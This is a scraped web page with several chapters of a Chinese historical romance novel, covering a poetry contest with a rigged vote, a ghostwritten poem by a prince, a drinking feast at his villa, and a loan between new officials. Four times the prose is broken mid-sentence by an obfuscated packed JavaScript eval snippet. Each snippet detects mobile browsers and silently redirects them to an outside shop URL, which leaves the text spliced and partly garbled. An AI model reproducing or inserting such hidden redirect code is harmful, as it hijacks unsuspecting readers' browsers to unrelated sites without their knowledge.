;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378356|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不紧张起来。 几次慌乱取出枝条的时候，慕池险些碰倒铜壶。 她不敢再扔给项梧，只往小姐们这边传递。 奇怪的是，乐声反倒没有在慕池处停下，一直远远避开她。 这一场游戏下来，陌生的公子小姐听人互相介绍着，也熟悉了几分。 大家玩得尽兴后，太后娘娘和楚王现身。 叶姝音回到位置上。 侍女们撤去铜壶，奉上茶盏。 乐陵县主扫视一圈，道：“看来大家很满意这个游戏，下次咱们接着玩。想必大家也都猜到了，刚才的游戏与今日的题目有关，现在就请大家以”桃“入题，不限韵脚，作诗一首。” 侍女们又奉上笔墨纸砚。 有人当即落笔，有人还在斟酌。 乐陵县主看到楚王也开始动笔，忍不住凑上去看。 她还挺期待楚王今天的诗作的，毕竟他提前好多天就已经知道了最开始定下的题目“问桃”。 她不常请楚王，一是他身份贵重，不好与其他人打成一片；二是他自己对文人聚会不感兴趣。 今日太后和楚王双双驾到，乐陵县主知道一些原因。 乐陵县主看着他写完收笔，心里已经有了判断，称赞道：“二叔的字越来越好看了，就得是这样的好诗才配得上这一手好字。刚才您要是早出场点，这满座的才子都得变成哑巴，多谢您的心善，没有砸了您可怜侄女的宴会。” “就你话多，这是怪本王打扰你了吗？我只参加这一次，下次你请我我也不来了。” “姑祖母您看二叔，我哪有那个意思？我可太冤枉了！”乐陵县主扑到太后怀里寻求庇护。 “你莫要欺负她。” “好，母后，都是儿臣的错。” 楚王虽是找人代笔，但此刻并不心虚。要说现场谁最可能看出来，乐陵首当其冲，刚才他的话就是警告。 “二叔可有号？请一并题上吧。” 楚王心里“咯噔”一声，倒是忘了这个了。 “你替我随意想一个吧。” “二叔放心我么？” 楚王觉得她的笑不怀好意，怕她给自己挖陷阱，道：“还是我自己来吧。” 乐陵县主的声音不算小，在场诸人听得清楚，不少人已经被勾起了好奇心，想看看被县主盛赞的楚王大作。 李质真却是顿住笔，暗自皱眉，乐陵谄媚得过分了，况且哪有说诗配得上字的，也没听说楚王是书法大家，一般都是反过来用，这里面怕是有问题，想是她看出来了才发泄般地这样说。 慕池觉得乐陵县主有些夸张，但猜测这是她和太后、楚王习惯的交流方式，便按下了心头的疑问，专心琢磨句子。 乐陵对楚王的行为心有不满，却不打算当场戳穿，她不继续催楚王，回去写桃花园序了。 最先交上的是李质真的三首，众人习以为常。 写就的诗作按先后顺序编号，交给侍女们抄写，而后每人分发一份，各自选出自己认为的前五名编号，最终敲定第一到第五名，其余诗作则依编号大小排序，编号小的排在前面。 太后看得仔细，对呈上来的诗作很是满意；楚王只草草看过上面的自号，他还在为这个烦恼。 太后道：“天然居士是何人？” 8. 公布排名 “回太后娘娘，臣女乃礼部尚书之女李贞，天然居士正是臣女自号。”李质真起身行礼，不卑不亢。 “原来是贞儿，乐陵总向哀家提起你。每每夸她，她总要说人外有人，哀家就问到底是谁比她好，她轻易又不肯说，好几次才问出来。她说你十倍于她，今日一见果然如此。” “臣女愚鲁，蒙太后娘娘和县主错爱，万不敢与县主相较。” “乐陵，这样好的姑娘，怎么不早点带来见哀家？” “姑祖母，我不是怕您见了她就不喜欢我了嘛。” “鬼精灵，哀家对你还不够好吗？你下次进宫必须带上贞儿，不然哀家就不见你了。” 李质真脸上的笑僵住了。 “好吧，姑祖母，我肯定把人给您带去。” “谢太后娘娘厚爱。” 随后太后又点了几位交上诗作的公子小姐。 慕池此刻还在纠结。 赵齐风凑过来读完：“好一个‘扯断金枷并玉锁，请君与我共沉酣’，真像你那张帖子。” 慕池本来觉得狂诞，听她这么说，颇受鼓舞。 慕池几乎就是最后一个交上去的，此事完结，她才放下心来，浅啜一口凉茶。 原来伯母身边的嬷嬷说什么“女子无才便是德”，可是京城里的大家好像并不认可这个规则。女子的才华也不必为了照顾某些人的面子而刻意隐藏。 慕池很喜欢这个环境，即便她现在不擅长写诗，不能通过诗文赢得赞誉。如果可以的话，她还想参加下一次的宴会。 直到太后和楚王到来之前，大家都不拘身份高低，在一起欢笑打闹，慕池喜欢并且贪恋这种温暖。 哪怕是今天稍微针对慕池的姝音，她也敢于展示自己的才华，是某种意义上的敢爱敢恨。 慕池讨厌自己的瞻前顾后，讨厌自己的波澜不惊，所以她会被赵齐风这样的人吸引，包括曾经交好的叶姝音，甚至于寻月，慕池也暗暗钦佩她的勇气。 “东篱友人何在？” 慕池被点到，悬着心起身行礼：“回太后娘娘，民女慕池，自号东篱友人。” 楚王和太后一起出现，慕池做好了被点名的准备，只是没想到抄送得这么快。 太后看向她，不辨喜怒：“模样不错。” 太后就这样放过了她，甚至没有提让她进宫的事，想来是她遍京城邀请比武招亲的事儿起作用了。 太后、楚王和县主手中的是加紧抄写出来的，其余公子小姐们的还要再等会儿才能辑录成册。 想见的人都见过了，太后也不多留：“乐陵，哀家今日就回宫了。” “母后，儿臣送您。” 太后颇为意外，她本以为秦钺会更愿意留下来。 “二叔，我送姑祖母吧，您这次就多留会儿。” “不了，本王留在这儿你们反倒不自在。”楚王扶着太后逃也似地起身，完全没有刚来时的从容。 刚才一个“号”的事就折磨了他好一会儿，待会儿倘有人再问出些别的，他一时无法答对岂不难堪？ 楚王这算是败兴而归了。 众人齐呼：“恭送太后娘娘、楚王殿下～” 慕池没想到担忧了那么多天的桃花宴就这样过去了，太后娘娘特意点出来的人很多，和她说的话又几乎是最少的，所以慕池觉得自己并不引人注目。 许是太后娘娘并不满意？许是之前的猜测都是错的？ 总之今日春风和煦，桃花娇娆。 县主安排换了新茶，上了几碟精致糕点。慕池正好饿了。 这次的诗册已经送到了大家手上。 诗册上面的字筋骨皆备，誊抄者定然下过苦工。 慕池排在倒数，往后翻看没剩几张，她的手指停在了最后一页。 但不知是什么样的人格品貌，竟能写出这样的诗句，如此挥洒自如、灵气逼人。 慕池读过不少诗，鉴赏能力还是有一些的，原以为只是同龄人玩闹的诗会，竟然藏着这样的人物吗？ 慕池原本还担忧诗作流传出去惹人非议，但倘若次次都有这种水平的作品，大家怕是赞叹都来不及吧。 慕池认识得人少，于是问赵齐风：“齐风，你可知道‘花间客’是哪位小姐或者公子吗？” “花间客？不太正经的样子，以前没听过，可能是第一次参加的人？他在哪儿，我看看。” 慕池把自己手中的册子递给她。 赵齐风看了之后道：“我真该打嘴。” “太好了，看来咱们这儿要出第二个李质真了。哈哈哈，这次投票我终于不用在她的诗里挑第一啦！” 不得不“违心”投给自己讨厌的人，那赵齐风之前真的很痛苦了。 “话说回来，你觉得可能是叶姝音吗？她也是第一次来。你家的探花郎我就不多问了。” 慕池摇摇头道：“不是我小瞧表妹，我半年前还曾见过她的诗文，与这首的风格不大相似，我也不敢排除她进步的可能，可这满纸藏不住的怀才不遇从何而来呢？” “这样说来，状元郎也要被排除了。他正是得意之时，若是往日愁思……我偷偷看过他，不觉得他像是有心事的样子。” 慕池被勾起了好奇心，问道：“哪位是状元郎呀？” “诶？探花郎跨马游街的时候你没去看吗？” “我……”慕池支吾，不知道怎么解释。 “想是你们再熟悉不过，已经看腻了。你看，他现在就坐在忠勇侯身边呢。” 慕池抬眼看去，只见一风度翩翩的美少年，他此刻正在全神贯注地翻看册子。 这样的年纪三元及第，如此人才，往后前途不可限量，慕池的目光不由得多停留了会儿。 突然，项梧重重拍了他的肩，把他吓了一跳，茫然地扭头看过去。 慕池失笑，收回视线，他怎么会有这样不得志的哀伤呢？ “朝阳，你干什么？” “没事，就是看到妙处，忍不住手舞足蹈了，抱歉。” “真的吗？在哪一页呀？” 苏玫凑过去看他的编号，自己翻到同样的位置，读完忍不住皱眉，对他的话产生了怀疑，偷偷看了多次。 “不是他们，余下的我也不认识了。” “咱们看得早，等大家都看过了，互相问着，‘花间客’就会现身了。” “对，反正只要不是李质真，无论是谁我都开心。” 慕池被她感染，脸上带着笑，从县主作的序开始看起。 全篇不过百字，意境开阔、文辞清丽，全无闺阁之气，蕴含自然之理。 接着是李质真所作： 头一首访桃，赞她容貌，赞她品格； 第二首论桃，辱她容貌，辱她品格； 第三首忆桃，痛哭流涕，悔不当初。 三首分开看，各有道理；放在一起却颇为辛辣，字里行间都是对假隐士的讥讽。 慕池不由得展开联想，倘若换成桃花视角自述经历，天然居士会承受多少非议。可明明这样的自述不乏被历代文人使用，只因以夫妻比君臣就要高上一层。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378357|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 女子本来就少了很多君臣相得与舍身报国的机会，也不能拥有明珠暗投的悲哀和怀才不遇的苦闷。在这种劣势下，天然居士还能次次居于魁首，可见其才。 余下三十几篇，虽不乏佳句，但再无可比拟者。 大家的讨论，也多是围绕花间客和天然居士的作品进行的。 赵齐风打听着，周围人也都不知谁是花间客。 有人忍不住去问县主，县主说投票结果出来之后自会揭晓。 慕池正欲落笔写下自己心中的排名时，突然被赵齐风握住了手。 “安澜，你打算把第一给谁？” “天然居士三首可居前三。” 赵齐风失望，但还想挽回：“可你不是也喜欢花间客的《问桃》吗？” “嗯，所以我投它第四。” 赵齐风的举动被旁边的小姐看到了，道：“赵齐风，不许干预别人。” 她听话松开手，道：“好了好了，我就是问问嘛。” 前四都有位置了，第五名在慕池这儿竞争挺激烈的，她比较了好一阵才确定下来，选了枕松道人的《残桃》。 又上了一轮茶水和点心后，县主拿到了结果。 “唉，看来大家苦天然居士久矣～” “别说这些废话，快宣布吧。”李质真回怼。 “那你可要经受得住哦，这次的魁首换人了，花间客是众望所归。质真，你一定觉得很没面子吧。” 县主看热闹不嫌事大，此时此刻大家除了好奇花间客的身份，第二在意的就是李质真的心情了。 “我的面子有什么要紧，只是县主最近越发有面子了，竟然能请来这样的才子，还不快给大家介绍介绍？” 被县主这样当众“针对”，李质真不见愠色，谈笑风生，慕池的目光被她吸引，脸上不自觉挂起笑容。 县主扫视过在场众人，吊足了大家的胃口，这才说道：“我也是今日才知道，楚王殿下不仅深具佛性，还是一位深藏不露的骚客。” 此言一出，场中哗然。 县主都这样说了，其他人更是从未听说过楚王有这样的诗才。 他和当今皇帝一母同胞，身份极为尊贵；又享楚地之养，挥金如土。凡百事情，只要他想就没有做不到的。这样的人，大概不屑在小小诗会上作假吧？ 况且人家身份尊贵，教导皇子的老师也必然是饱学鸿儒，或许从前是收敛锋芒也未可知。 这是一部分人的想法。 其他人纵然心有疑虑也不会当场质疑：一是没必要因为这种事得罪楚王；二是他又不在场上，轻易也得不出个结果。 对慕池来说，这到底是不是楚王殿下的亲笔所作并无所谓。 她不在意诗会的公平与否，因此没有义愤；至于楚王殿下到底是不是隐藏的大贤，慕池也不认为和自己有关。 她也挺讨厌这样麻木的自己，可是过往的经验告诉她，这样能让她活得更轻松。 慕池想知道项梧现在是怎么想的，抬眼望去，从他脸上看到了气愤和担忧。 慕池喜欢他的气愤，不解他的担忧。 项梧察觉了她的视线，和她对上眼神。 慕池读出他的意思，那是在问：你信吗？ 倘或是赵齐风这样问，她会答：我不知道。 可是慕池摇头了，她这里的意思是：我不信。 县主开口打断了议论：“天然居士《忆桃》第二、《访桃》第三。” 这是何意？余下的《论桃》是没入选么？还是排在第五？ 9. 楚王别院 “枕松道人《残桃》第四，葛藤游子《咏桃》第五。” 居然是这样的结果吗？天然居士三首的顺序完全被打乱了。 慕池把手中册子翻到第四、五名处又看了一遍，疑惑加深。 这本来是一个“嘲笑”天然居士的好时机，赵齐风却分外安静。 为什么呢？天然居士的《论桃》在所有“咏桃”类的诗作里当居魁首，即便是稍逊于她自己的《访桃》和《忆桃》，也不该输给葛藤游子的《咏桃》。 文无第一的说法在这场诗会里只适用于天然居士三首和花间客一首，其他的都差了一个档次。 口口声声说讨厌李质真的赵齐风，慕池看到她的排序，也只是把天然居士三首放在了二、三、四位。 县主说“大家苦天然居士久矣”，看来不是一句戏言。 为什么要这样做呢？明明之后会刊印发行，一时的“胜利”掩盖不了明珠的光彩，怎么这次就忍不了了呢？ 慕池觉得很有意思。 “县主，我觉得我这次写的诗挺好的，这次有没有人把我排在前五呀？可以让我看看吗？”一位小姐问道。 赵齐风会意补充道：“我也觉得我写得不错，县主你就把结果给公布出来吧，隐去名字，哪怕没人选我我也不怕丢人。” 随后又有不少小姐出言，都觉得“自己”的诗作不错。 县主指着小姐们，笑道：“从前隐去结果，是怕咱们姑娘家的面儿薄，没想到一个个的都这么厚脸皮，我若再不依，倒像是我心里有鬼似的。” 说罢也不再问公子们的意见，吩咐侍女取来结果宣读。 “桃花社诗客共计三十五人，每人选出前五，统计规则为：第一记五筹，第二记四筹……第五记一筹，各诗所得筹数相加，然后再排序。 统计结果为： 花间客《问桃》第一，得筹一百三十九； 天然居士《忆桃》第二，得筹一百一十二； 天然居士《访桃》第三，得筹九十八； 枕松道人《残桃》第四，得筹五十九； 葛藤游子《咏桃》第五，得筹五十二； 天然居士《论桃》第六，得筹三十二； 东篱友人《宴桃》第七，得筹九； …… 余下者并列第十一，得筹零。 筹数总计五百二十五。” 慕池因为自己才不配位有些尴尬，不过她很快开解了自己，她觉得那两个得筹五的人才是最该尴尬的，因为他们有着更大的给自己投第一的嫌疑。 慕池觉得自己现在的处境多半有项梧的功劳，暗戳戳向他投去了怀疑的目光，结果没看出什么破绽。 慕池不认识多少人，故而听不出什么门道，但也感到此时的气氛有些微妙。 慕池问赵齐风：“这是怎么了，忽然冷下来。” “得五、二、一筹的十几人全在对面；咱们这边除了天然居士和你都是零筹。” 赵齐风没有刻意低声，不少小姐听见了这句。 这显然是“意外之喜”，提议查看结果的小姐们自己都没有给自己排个第五，她们想看的根本不是自己的排名。不过看到这样的结果多少有些心情复杂就是了。 天然居士和县主交好，赵齐风没有反李质真的盟友，小姐们这边坐了两排，共一十四人。 纵然《论桃》在天然居士自己的三首之中稍显逊色，有一定鉴赏能力的人也不会将它剔除此次诗会的前五。 在赵齐风已知的信息中，慕池给《论桃》排第二，她自己给《论桃》排第四，这已经是六筹了，余下的二十六筹是怎么由三十三人投出来的，她实在不解。 赵齐风道：“哎呀，居然没人选我吗？我觉得我的诗比得五筹的诗好呀，县主，这个结果真的没有出错吗？” 小姐们大都知道她的意思，此时也没揶揄。 县主眼神示意侍女解释。 “赵小姐，诗作排名由三个人分别统计三次，一般不会出错。” 县主此时不甚在意自己的权威，吩咐道：“再数一次吧。” “不如把每个人的排名当着大家的面唱出来。”一位小姐道。 一石激起千层浪，小姐们这边炸开了锅，纷纷附和。这场面比刚才玩游戏时还要热闹。 公子们那边倒是无人发声。 县主看了眼沉默的李质真，带着歉意道：“这个不行。已经破例公开所有排名和筹数了，再改了这个，叫他们传扬出去说我这儿朝令夕改，岂不惹人耻笑？若要当面唱出来，得等到下一次我提前说过了。” 县主看向那些松了口气的人道：“这次也怪我，请到的公子比小姐多出了不少。下次可就要改规则了，大家不许不到，不然就是心虚了。” 这已经近乎于骂了。 由最可能看过每次投票的县主说出这些颇具暗示型的话，慕池信了八九分。 只是不知道在这件事上，公子们是谋而合还是不谋而合呢？ 这样的手段，不比叶姝音小孩儿般的置气更有意思吗？ 县主都这样说了，小姐们也不好不给面子，这件事只能作罢。 接下来的氛围就轻松愉快了很多。 小姐们大气地摒弃前嫌，没有再讨论排名的事，却也不想再讨论诗作了。 慕池从赵齐风处了解到，京城里她社交圈的小姐们鲜少有不识字的，倘或自家女儿有才名，也是给家中长辈脸上增光。 慕池心不在焉地吃下了许多茶点。 临分别时，赵齐风提醒道：“我会去找你的～” “好，我等你来。” 回去路上，慕池和项梧同乘一车。 “诗会上你是不是选我为前五了？” “你怎么知道？” “我有自知之明。” 还有知你之明。 虽说《宴桃》不是最差的，可那是在票选前五名，这首根本不该出现。 “可我觉得它最好。” “难道你选它第一？！” “嗯，我犯错了吗？” “没有，”慕池不想让他自责，“县主知道我们的关系，应该不会生气。可是还有四筹，你让其他人也选这首了吗？” “没有，我也不知道是谁。” 项梧虽然不知道具体是谁，却也有猜测的人选，他听到有些人议论过慕池。 “这就好，”慕池稍微放心，“下次你再去，可千万不能乱投了。其他几名你是怎么排的？” “嗯……天然居士《访桃》《论桃》《忆桃》三首依次为二、三、四名，花间客《问桃》为第五。” “这就还好。” “你在担心我吗？”项梧想听她承认这件事。 “县主很重视诗会，我们也要给出尊重。往后你敢再选我，我就要生气了。” “嗯，我不敢了。” “今天你旁边坐的那个人就是新科状元吗？你之前怎么说他年纪大呀？” 项梧心虚：“他就是显得年轻，其实年纪很大。” “哦，这样啊。” 桃花宴后一天，楚王邀了项梧小宴，声称向一甲进士们讨论学问。 此地是楚王在京郊的一处别院，门口的守卫俱都披坚执锐，威仪赫赫。 项梧甫一踏进，就被里面的奢靡惊到： 玉石铺地，琉璃作瓦，数不清珠帘翠幕，看不尽怪石珍禽。亚赛王母瑶池境，不输老君太清天，原来钦点探花见识浅，三生有幸到此间。 榜眼谢磐先到了，茶已用了半盏。项梧打过招呼后坐在了他下首，两人并不交谈。 项梧也用了半盏茶后，状元郎苏玫到了。 “不移兄， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378358|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝阳兄，我来迟了，不要见怪啊。” 项梧和谢磐起身回礼。 苏玫没心没肺地坐在了项梧下首，明明谢磐专门给他留了客座。他这一坐，项梧和谢磐都有些不自在。 忽然一只靛蓝色的鸟儿飞了进来，三人目光都被吸引过去。 鸟儿在屋里扑腾了几圈，撞向项梧的胸口，他大惊失色，手疾眼快地攥住，递还给了来追鸟的侍女。 侍女安抚它，随后向几位客人道歉：“惊扰贵客了，这鹦鹉曾是王爷的爱宠，野性难驯，王爷仁慈不忍拘束，它便时常冲撞出来，奴婢这就带它下去好生管教。” “无妨，我刚才怕是吓到它了，有劳你照料，待会儿我去向王爷赔罪。” “这鹦鹉也不聪明，都要逃跑了还往屋子里钻，你说是不是？”聪明人问道。 谢磐有些庆幸苏玫没坐他边儿上了，之前虽然见过，只以为他恃才傲物，今日才算有了更深的了解。 客人到齐了，来了公公领他们去往一处楼阁。 公公请他们门外稍候，自己进去禀报。 不多时，公公出来请三人进去。 踏入里间，穿过几处帷幔、屏风，项梧几人见到了楚王： 金玉不用金玉饰，一条素带绾青丝。委委佗佗丰姿秀，又似浮云卷舒时。 “下官拜见楚王殿下，殿下千岁。”三人齐齐行礼。 一甲进士按照惯例已经授官：苏玫为从六品翰林院修撰；谢磐和项梧均为正七品翰林院编修。 “免礼，赐座。” 王爷主位之下又设有三张桌案，他三人谢恩后入坐。 侍女们鱼贯而入，摆好美酒佳肴，陪侍一旁倒酒布菜。 “苏修撰，你是本朝第一位三元及第的进士，为我南华有这样的人才，本王敬你一杯！” 楚王举杯饮酒，给足了苏玫面子。 “多谢王爷，微臣定当竭忠尽智报效朝廷，不负陛下和王爷的厚待！”苏玫满饮杯中酒。 “谢编修，不知谢老致仕后这些年身体可好？” “牢王爷记挂，祖父身体康健，在家中闲时品茗下棋，时常教导家中子弟要勤奋读书，为朝廷效力。” “谢家是诗礼大家，门风严谨，出过不少肱股之臣。此次恩科，你们家有不少人登上金榜啊，果然是人才济济。”楚王这几天让手下把他们几个调查清楚了。 谢磐摸不清楚他话里的意思，楚王亦或是皇上觉得谢家太扎眼了吗？这莫不是在敲打？ “王爷过誉了，微臣与族兄们天资不足，多次参加会试才能得中，怎么比得上苏修撰和项编修呢？他们才真正是天纵之才。” “今日只是私下里小宴，不移为何如此自谦，莫不是对本王心存戒备？应该罚酒！”秦钺佯装生气。 “微臣自罚三杯，请王爷恕罪。” 谢磐饮了三杯，项梧估摸着也该到自己了。 “忠勇侯，你的出身本来无须走科举的路，难得如此用功啊，世家子弟少有如你这般的。” “皆因微臣武艺不精，先父便要微臣在读书上多下功夫。到底还是陛下施恩，才有微臣今日的光耀。” 项梧说起谎来并不脸红。 楚王不接他的客套话，道：“前几日进士游街，百姓们见了，都说你貌比潘安，果真传言不虚呀。你家中可有其他兄弟，他们的才貌如何？” 这里的“家”可大可小，项梧明白他的意思，此时压抑着怒火。 “微臣还有几位堂兄弟，长日听祖父教导，可称得上是文采斐然。” 楚王略感失望，道：“忠勇侯都这么说了，本王改日定要见一见他们。” 方才提到的谢家子弟楚王都没有说要接见，项梧的堂兄弟没有功名，楚王却要如此礼待，这是何故？ “楚王殿下爱惜人才，微臣敬服。” 10. 状元借钱 因着一甲这三位都不是纯正的京城人氏，楚王又问了他们许多风土人情和各地的趣事儿，听得很开心，也劝了不少酒。 王府佳酿入口香甜，项梧多饮了几杯，没想到后劲儿那么大，此刻已经有几分醉意了。 项梧担心自己失仪，向楚王处瞟了一眼，见他已经把身边的侍女拉进怀里了。 苏玫和谢磐也都不善饮酒，一个伏在案上，一个强撑着身体。苏玫睡过去还好，谢磐旁边的侍女已经开始拉拉扯扯，看样子不移兄没多大力气了。 此时项梧看起来还算清醒，是以身边侍女不敢轻动。 眼下也顾不得许多了，他又饮了两杯，朦胧着眼睛，摇摇摆摆倒在案上。 项梧留心听着，主位上的两人走了。 自己和苏玫身边的人一块去了谢磐的方向，有四个脚步声出去了。 若是正常带去休息，为何抛下他们两个人呢？ 项梧有心去救，只是交往不深，不知道谢磐是真醉还是假醉。 罢了，到底是谢家的人，想来也不会如此。 项梧拿起空酒杯，踢翻桌案赶了出去，推开搀扶着谢磐的侍女，假装快要摔倒拽住他的胳膊，用力抬起眼皮醉声大喊：“兄长哪里去？还没喝够呢！喝呀！” 说着项梧就把空酒杯递到谢磐的脸上“灌酒”。 末了项梧把酒杯的口朝下，高高举起看了又看，道：“没酒了。” “那儿有酒！” 项梧拉着谢磐去到旁边的一处小水塘，把他按下去清醒清醒。 侍从们过来把他们拉开了水塘。 经过这一闹，谢磐醒了六七分了。 二人托侍从向王爷告罪，说自己酒后无状闹出笑话，不敢久留，自行离去了。 昏睡的苏玫没有带小厮，项梧也不知道他家在哪里，就好人做到底，把他暂且带回府。 慕池在家中，听青霜说项梧今天赴的是楚王的宴会，坐立难安，十分忧心，当下就命人取了请帖来细看。 “侯爷去了多久？带了几个随从？” “去了有半个时辰，只带了兰生、禾生二人。” “这怎么行呢？再派四个小厮并马车赶到别院候着，只说家里怕他吃醉了酒，探听到任何动静马上回来告诉我。青霜，你亲自去安排，挑些身强力壮的。” “小姐别担心，我带着他们去，一定把侯爷好好接回来。” “好，有你去我也放心，”慕池低声嘱咐，“带上银子，藏些兵器，千万把人带回来。” 青霜风风火火走了。 司衡道：“小姐，还有另外两位大人在，兴许就是个简单的聚会吧。殿试刚过，王爷要是寻错处罚了新科探花，岂不是跟皇上作对？” “我也明白这个道理，只是刚出那样的事，我不得不多想。” 司衡和青霜作为慕池的贴身丫鬟，都知道那天晚上发生了什么，此时也不免担忧。 慕池吃不下午膳，等了一个多时辰才收到消息：项梧醉得不轻，把编修大人给按进水里了；他已经在回来的路上了，还带了修撰大人一起。 慕池暗谢诸佛，还好没出什么大事。 项梧为了把戏做足，自然不能骑马，正好家里的车来了，他就和昏醉的苏玫一起坐在里面。 到了忠勇侯府，客人被抬进了厢房，项梧被搀扶着回到自己院子。 “侯爷，大小姐在里面等你。” 项梧不知所措，自己现在满身酒气，这样过去岂不是冲撞了她？ 项梧下意识止住脚步甚至往后退，被扶他的人当作是撒酒疯给硬搀进去了。 他有点不知道怎么面对慕池，躺在床上后索性再次装睡。 项梧听见有人进来放了个碗在桌子上。 “他睡下了，再去温一碗备着。” 原来是醒酒汤。 不好，有人走过来。 项梧的心砰砰乱跳，他告诉自己要装得像一点，可越想越紧张，呼吸变得短促。 慕池看他脸红，手背试了试温度，果然有些发热，坐在床边的凳子上给他打扇。 朝阳素来知礼守节，定然是有人劝酒将他灌醉，慕池想着，难不成是那个谢编修使坏，才被他按进水里？ 慕池压下心头疑问，只等他醒酒后详谈。 慕池扇了有一会儿了，他的脸还是红的，想是热极了。 还没到夏天，就这样热了吗？想来是酒的作用吧。 慕池出去安排人给他换衣服，自己和青霜回栖霞阁。 “小姐，煮好的醒酒汤侯爷怎么不喝呀？” “他睡着了。” “咦，这就怪了，小厮搀回来时人还是醒着的，怎么到屋里就睡了？这么长时间，也该醒酒了吧。” “马车上不舒服，怎么能休息得好，他应当累极了。” “原来如此，我当他装睡呢。” “为什么要装睡？”慕池不解。 “吃了这么些酒，还跟人打架，怕你骂他呗。” “胡说，我几时骂过他，快跟我讲讲到底是怎么回事。” 枕云轩里的项梧醉意全消，兴奋得在床上打滚。 滚累了就躺在床上，取出怀里的兰草香囊举起来看，越看越欢喜。 只可惜做戏要做全套，不能立即去见她。 过了会儿小厮来报说客人醒了并要求见他，项梧才想起来把苏玫带回了家。 回来的路上想到慕池对苏玫的关注，项梧踢了踢他的脚想把他唤醒，见他睡得死，没奈何才带回来。现在项梧只想快点把他打发走。 “子瑰兄久候了。” “小侯爷真是客气了，原来不知道你的身份，也是称兄道弟混叫着，多有得罪，请勿见怪啊。” 苏玫彻彻底底醒酒了，醉酒之后楚王别院里发生了什么他一概不知，只朦胧记得他和项梧同乘马车，醒来之后小厮告诉他这里是忠勇侯府。 “只是承父荫的虚爵，子瑰兄这样叫就是与我生分了。既然兄长醒了，小弟这就派人送兄长回家？” 苏玫的性格耿直，又不是京城人氏，项梧相信他真的是楚王提起后才知道。 苏玫尴尬笑笑，似乎藏了什么事：“不急，不急。” “兄长一向快言快语，怎么现在不把话说明白，可是嫌弃我照顾不周？”项梧实在不想和他浪费时间。 “我不是这个意思，”苏玫有些慌张，“是我想问你借些银两。” “兄长不是得过陛下赏赐的二百两？想是要置办宅子不够用？” 一甲进士的赏赐均是二百两银子，钱当然可以借，只是得先问清楚之前的银子到哪儿了。 “哎，事到如今我也不怕丢人了，不是置办宅子，是我那书童卷走银子跑路了，我已经报官，只是到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378359|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在未能抓到。” 这种事情真够离谱的，但发生在苏玫身上又诡异的合理。 “怎么会有这样的事呢？子瑰兄真是可怜。既是书童盗窃，不知他的身契现在何处？” “朝阳有所不知，那书童并非家仆，是我在进京路上认识的，因他也要进京，我又缺个看行李的人，就雇下他，每月给些银子，只当他是书童。现在我只知他的相貌，名姓不辨真假，已经报了官，不过银子怕是很难追回来。所幸我自己身上还带了些碎银，这才又熬了些时日。” 这是他能做出来的事。只是长途跋涉的，他也出自官宦人家，身边就没个侍奉的人？项梧心里疑惑但却不想再问。 “兄长这是遇人不淑啊，那窃贼可恶至极，一定会被抓拿归案的，”项梧表现得义愤填膺，转而突然想起他的目的，“不知兄长缺多少银子？家里有人管束，少的我还能做主，多了就拿不出来了。” 项梧对外都这样说的，也不知道究竟是谁在管束他。 苏玫也是看他久居京城、又是侯爵才开口借钱，听他这样说，颇有些感慨，原来尊贵如侯爷也一样，用银子有限制，怎奈自己现在确实窘迫，遂带着商量的语气问道：“五两可否？” 项梧沉默。 苏玫以为自己要的多了，咬咬牙道：“二三两也行，等俸禄下来了我马上就还。” 为什么是俸禄下来而不是家里人送钱，项梧不知道，他怕过会儿苏玫又降价了，直接命人取了五十两银子给他。 苏玫想要拒绝被项梧拦下：“兄长不知道，初入官场要花费的地方还多着呢，兄长既开金口，我当然要竭尽所能，免得你还要多回忆几遍伤心事。只是不巧，陛下的赏银我已用在别处，家中也有不少花销，现在只有这些，还望兄长勿怪。” 苏玫被感动到了：“我就知道你愿意慷慨解囊，我见你第一面就觉得你是个好人。” 得了吧，你要是有识人之明也不至于落到今日这个地步。 “让我托大叫你声贤弟吧。贤弟，纸笔何在，我与你写下借据。” 